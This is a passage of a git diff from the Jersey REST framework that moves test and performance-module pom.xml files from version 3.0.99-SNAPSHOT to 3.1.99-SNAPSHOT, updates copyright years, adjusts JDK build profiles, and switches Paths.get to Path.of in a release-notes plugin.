@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>interceptor-dynamic</artifactId>
diff --git a/tests/performance/test-cases/interceptor-global/pom.xml b/tests/performance/test-cases/interceptor-global/pom.xml index a4af722..643b54d 100644 --- a/tests/performance/test-cases/interceptor-global/pom.xml +++ b/tests/performance/test-cases/interceptor-global/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>interceptor-global</artifactId>
diff --git a/tests/performance/test-cases/interceptor-name/pom.xml b/tests/performance/test-cases/interceptor-name/pom.xml index 1ce8e16..a72c754 100644 --- a/tests/performance/test-cases/interceptor-name/pom.xml +++ b/tests/performance/test-cases/interceptor-name/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>interceptor-name</artifactId>
diff --git a/tests/performance/test-cases/mbw-custom-provider/pom.xml b/tests/performance/test-cases/mbw-custom-provider/pom.xml index e03aa7e..95eca30 100644 --- a/tests/performance/test-cases/mbw-custom-provider/pom.xml +++ b/tests/performance/test-cases/mbw-custom-provider/pom.xml
@@ -1,6 +1,6 @@ <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>custom-provider</artifactId>
diff --git a/tests/performance/test-cases/mbw-json-jackson/pom.xml b/tests/performance/test-cases/mbw-json-jackson/pom.xml index 88be2b1..793a493 100644 --- a/tests/performance/test-cases/mbw-json-jackson/pom.xml +++ b/tests/performance/test-cases/mbw-json-jackson/pom.xml
@@ -1,6 +1,6 @@ <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>json-jackson</artifactId>
diff --git a/tests/performance/test-cases/mbw-json-moxy/pom.xml b/tests/performance/test-cases/mbw-json-moxy/pom.xml index 2e88e34..37e7cbc 100644 --- a/tests/performance/test-cases/mbw-json-moxy/pom.xml +++ b/tests/performance/test-cases/mbw-json-moxy/pom.xml
@@ -1,6 +1,6 @@ <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>json-moxy</artifactId>
diff --git a/tests/performance/test-cases/mbw-kryo/pom.xml b/tests/performance/test-cases/mbw-kryo/pom.xml index c2bd7c7..1c56641 100644 --- a/tests/performance/test-cases/mbw-kryo/pom.xml +++ b/tests/performance/test-cases/mbw-kryo/pom.xml
@@ -1,6 +1,6 @@ <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>mbw-kryo</artifactId>
diff --git a/tests/performance/test-cases/mbw-text-plain/pom.xml b/tests/performance/test-cases/mbw-text-plain/pom.xml index 85791e5..ee05906 100644 --- a/tests/performance/test-cases/mbw-text-plain/pom.xml +++ b/tests/performance/test-cases/mbw-text-plain/pom.xml
@@ -1,6 +1,6 @@ <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>text-plain</artifactId>
diff --git a/tests/performance/test-cases/mbw-xml-jaxb/pom.xml b/tests/performance/test-cases/mbw-xml-jaxb/pom.xml index aed91e9..e232bf8 100644 --- a/tests/performance/test-cases/mbw-xml-jaxb/pom.xml +++ b/tests/performance/test-cases/mbw-xml-jaxb/pom.xml
@@ -1,6 +1,6 @@ <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>xml-jaxb</artifactId> @@ -46,6 +46,11 @@ <artifactId>jakarta.ws.rs-api</artifactId> <scope>provided</scope> </dependency> + <dependency> + <groupId>com.sun.xml.bind</groupId> + <artifactId>jaxb-osgi</artifactId> + </dependency> + <dependency> <groupId>org.glassfish.jersey.test-framework.providers</groupId> @@ -63,42 +68,4 @@ </plugins> </build> - <profiles> - <profile> - <id>jdk11+</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <dependencies> - <dependency> - <groupId>jakarta.xml.bind</groupId> - <artifactId>jakarta.xml.bind-api</artifactId> - </dependency> - <dependency> - <groupId>com.sun.xml.bind</groupId> - <artifactId>jaxb-osgi</artifactId> - </dependency> - </dependencies> - </profile> - <profile> - <id>jdk8</id> - <activation> - <jdk>1.8</jdk> - </activation> - <build> - <plugins> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-surefire-plugin</artifactId> - <configuration> - <excludes> - <exclude>org/glassfish/jersey/tests/performance/mbw/xml/XmlEntityTest.java</exclude> - </excludes> - </configuration> - </plugin> - </plugins> - </build> - </profile> - </profiles> - </project>
diff --git a/tests/performance/test-cases/mbw-xml-moxy/pom.xml b/tests/performance/test-cases/mbw-xml-moxy/pom.xml index 17610d5..0e0bdbd 100644 --- a/tests/performance/test-cases/mbw-xml-moxy/pom.xml +++ b/tests/performance/test-cases/mbw-xml-moxy/pom.xml
@@ -1,6 +1,6 @@ <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>xml-moxy</artifactId>
diff --git a/tests/performance/test-cases/param-srl/pom.xml b/tests/performance/test-cases/param-srl/pom.xml index d058416..3fdebab 100644 --- a/tests/performance/test-cases/param-srl/pom.xml +++ b/tests/performance/test-cases/param-srl/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>param-srl</artifactId>
diff --git a/tests/performance/test-cases/pom.xml b/tests/performance/test-cases/pom.xml index 240d406..3f2d1f7 100644 --- a/tests/performance/test-cases/pom.xml +++ b/tests/performance/test-cases/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
diff --git a/tests/performance/test-cases/proxy-injection/pom.xml b/tests/performance/test-cases/proxy-injection/pom.xml index 417a396..cd84840 100644 --- a/tests/performance/test-cases/proxy-injection/pom.xml +++ b/tests/performance/test-cases/proxy-injection/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>proxy-injection</artifactId>
diff --git a/tests/performance/tools/pom.xml b/tests/performance/tools/pom.xml index 6e7949d..d7577c8 100644 --- a/tests/performance/tools/pom.xml +++ b/tests/performance/tools/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.tests.performance.tools</groupId> <artifactId>performance-test-tools</artifactId>
diff --git a/tests/pom.xml b/tests/pom.xml index b25b08d..fe30100 100644 --- a/tests/pom.xml +++ b/tests/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.tests</groupId> @@ -107,19 +107,35 @@ </build> </profile> <profile> + <id>jersey-tck</id> + <modules> + <module>jersey-tck</module> + </modules> + <build> + </build> + </profile> + <profile> <id>JDK11+</id> <activation> <jdk>[11,)</jdk> </activation> <modules> <module>release-test</module> + </modules> + </profile> + <profile> + <id>JDK17+</id> + <activation> + <jdk>[17,)</jdk> + </activation> + <modules> <module>version-agnostic</module> </modules> </profile> <profile> <id>JMOCKIT-MODULE-FOR-PRE-JDK24</id> <activation> - <jdk>[1.8,24)</jdk> + <jdk>[11,24)</jdk> </activation> <modules> <module>jmockit</module>
diff --git a/tests/release-test/pom.xml b/tests/release-test/pom.xml index 2882162..07ffef2 100644 --- a/tests/release-test/pom.xml +++ b/tests/release-test/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,12 +23,13 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>release-test</artifactId> + <version>3.1.99-SNAPSHOT</version> <packaging>jar</packaging> <name>jersey-release-test</name> @@ -57,6 +58,13 @@ </includes> </configuration> </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-deploy-plugin</artifactId> + <configuration> + <skip>true</skip> + </configuration> + </plugin> </plugins> </build>
diff --git a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java index 317118d..11a417e 100644 --- a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java +++ b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java
@@ -163,6 +163,8 @@ if (jerseyVersion.startsWith("3.0")) { return new DependencyPair[] { new DependencyPair("org.glassfish.jersey.connectors", "jersey-helidon-connector"), + new DependencyPair("org.glassfish.jersey.connectors", "jersey-jetty-connector"), + new DependencyPair("org.glassfish.jersey.containers", "jersey-container-jetty-http"), new DependencyPair("org.glassfish.jersey.ext", "jersey-spring6") }; } else if (jerseyVersion.startsWith("3")) {
diff --git a/tests/stress/pom.xml b/tests/stress/pom.xml index bb69102..fc0c5b2 100644 --- a/tests/stress/pom.xml +++ b/tests/stress/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>stress</artifactId>
diff --git a/tests/version-agnostic/pom.xml b/tests/version-agnostic/pom.xml index 1160c7f..552ac47 100644 --- a/tests/version-agnostic/pom.xml +++ b/tests/version-agnostic/pom.xml
@@ -38,7 +38,7 @@ <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <hk2.version>3.0.3</hk2.version> - <jersey.version>3.0.14</jersey.version> + <jersey.version>3.1.6</jersey.version> </properties> <build> @@ -46,7 +46,7 @@ <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-surefire-plugin</artifactId> - <version>3.0.0-M7</version> + <version>3.2.2</version> <configuration> <forkCount>1</forkCount> <reuseForks>false</reuseForks> @@ -75,6 +75,14 @@ <bsdTemplateFile>etc/config/edl-copyright.txt</bsdTemplateFile> </configuration> </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-deploy-plugin</artifactId> + <version>3.1.1</version> + <configuration> + <skip>true</skip> + </configuration> + </plugin> </plugins> </build>
diff --git a/tools/jersey-release-notes-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/releasenotes/ReleaseNotesMojo.java b/tools/jersey-release-notes-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/releasenotes/ReleaseNotesMojo.java index eec3df2..1ddf887 100644 --- a/tools/jersey-release-notes-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/releasenotes/ReleaseNotesMojo.java +++ b/tools/jersey-release-notes-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/releasenotes/ReleaseNotesMojo.java
@@ -33,7 +33,7 @@ import java.io.IOException; import java.nio.charset.Charset; import java.nio.file.Files; -import java.nio.file.Paths; +import java.nio.file.Path; import java.util.ArrayList; import java.util.List; @@ -172,12 +172,12 @@ String releaseVersion, String releaseDate, String releaseNotesFilePath, Boolean dryRun, Log log) throws IOException { - if (Files.notExists(Paths.get(templateFilePath))) { + if (Files.notExists(Path.of(templateFilePath))) { log.warn(String.format("There is no source template file at the given location:%s", templateFilePath)); return; } final List<String> notesLines = new ArrayList<>(); - final List<String> lines = Files.readAllLines(Paths.get(templateFilePath), Charset.defaultCharset()); + final List<String> lines = Files.readAllLines(Path.of(templateFilePath), Charset.defaultCharset()); for (final String line : lines) { if (line.contains(RELEASE_DATE_PATTERN)) { notesLines.add(line.replace(RELEASE_DATE_PATTERN, releaseDate)); @@ -197,8 +197,8 @@ } if (Boolean.FALSE.equals(dryRun)) { log.info(String.format("Storing release notes to file %s/%s.html", releaseNotesFilePath, releaseVersion)); - Files.createDirectories(Paths.get(releaseNotesFilePath)); - Files.write(Paths.get(String.format("%s/%s.html", releaseNotesFilePath, releaseVersion)), notesLines, Charset.defaultCharset()); + Files.createDirectories(Path.of(releaseNotesFilePath)); + Files.write(Path.of(String.format("%s/%s.html", releaseNotesFilePath, releaseVersion)), notesLines, Charset.defaultCharset()); } else { log.info("Prepared release notes are not stored to file due to dryRun mode"); log.info(String.format("File path to store release notes is: %s/%s.html", releaseNotesFilePath, releaseVersion));